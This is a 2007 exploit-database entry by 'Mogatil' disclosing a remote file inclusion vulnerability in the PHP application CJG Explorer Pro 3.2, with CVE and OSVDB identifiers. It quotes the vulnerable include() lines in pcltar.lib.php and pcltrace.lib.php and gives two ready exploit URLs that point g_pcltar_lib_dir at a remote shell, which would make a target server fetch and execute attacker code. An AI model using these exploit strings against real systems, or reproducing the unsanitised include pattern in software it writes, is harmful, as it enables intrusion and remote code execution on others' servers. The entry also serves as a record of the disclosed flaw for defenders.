CJG EXPLORER PRO 3.2 - 'g_pcltar_lib_dir' Remote File Inclusion

Author: Mogatil
type: webapps
platform: php
port: 
date_added: 2007-05-12 
date_updated:  
verified: 1 
codes: OSVDB-36010;CVE-2007-2660;OSVDB-36009;CVE-2007-2199 
tags: 
aliases:  
screenshot_url:  
application_url: 

#######################S==A==U==D==I#########################

CJG EXPLORER PRO v3.2 (pcltar.lib.php)(pcltrace.lib.php) Remote File
Include Vulnerabilities

##############################################################

Found By : Mogatil , jjl@hotmail.com

##############################################################

Script Site :
http://www.zascom.com/download/PHP/1868-CEP-PHP.ZIP
##############################################################
File : /pcltar.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");

File : /pcltrace.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");



##############################################################

Thanx: [cold zero] [gawey Al Azary] [crazy man] [scorbion_22]
[the_muslim_sniper]

##############################################################

Exploit :[Path]cep/lib/pcltar.lib.php?g_pcltar_lib_dir=shell

Exploit :[Path]cep/lib/pcltrace.lib.php?g_pcltar_lib_dir=shell

##############################################################

# milw0rm.com [2007-05-13]